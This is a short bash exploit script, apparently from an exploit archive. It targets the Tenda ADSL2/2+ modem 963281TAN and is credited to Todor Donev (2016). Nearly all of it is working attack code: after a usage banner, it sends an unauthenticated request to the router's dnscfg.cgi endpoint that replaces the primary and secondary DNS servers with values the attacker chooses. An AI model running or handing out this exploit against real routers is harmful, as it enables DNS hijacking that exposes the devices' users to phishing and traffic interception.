Tenda ADSL2/2+ Modem 963281TAN - not authorized to modify the DNS

                                                if [[ $# -gt 3 || $# -lt 2 ]]; then
        echo "               Tenda ADSL2/2+ Modem 963281TAN "
        echo "           Unauthenticated Remote DNS Change Exploit"
        echo "  ==================================================================="
        echo "  Usage: $0 <Target> <Primary DNS> <Secondary DNS>"
        echo "  Example: $0 133.7.133.7 8.8.8.8"
        echo "  Example: $0 133.7.133.7 8.8.8.8 8.8.4.4"
        echo ""
        echo "      Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>"
        echo "  https://www.ethical-hacker.org/ https://www.fb.com/ethicalhackerorg"
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  Error : libwww-perl not found =/"
        exit;
fi
        GET -e "http://$1/dnscfg.cgi?dnsPrimary=$2&dnsSecondary=$3&dnsDynamic=0&dnsRefresh=1" 0&> /dev/null <&1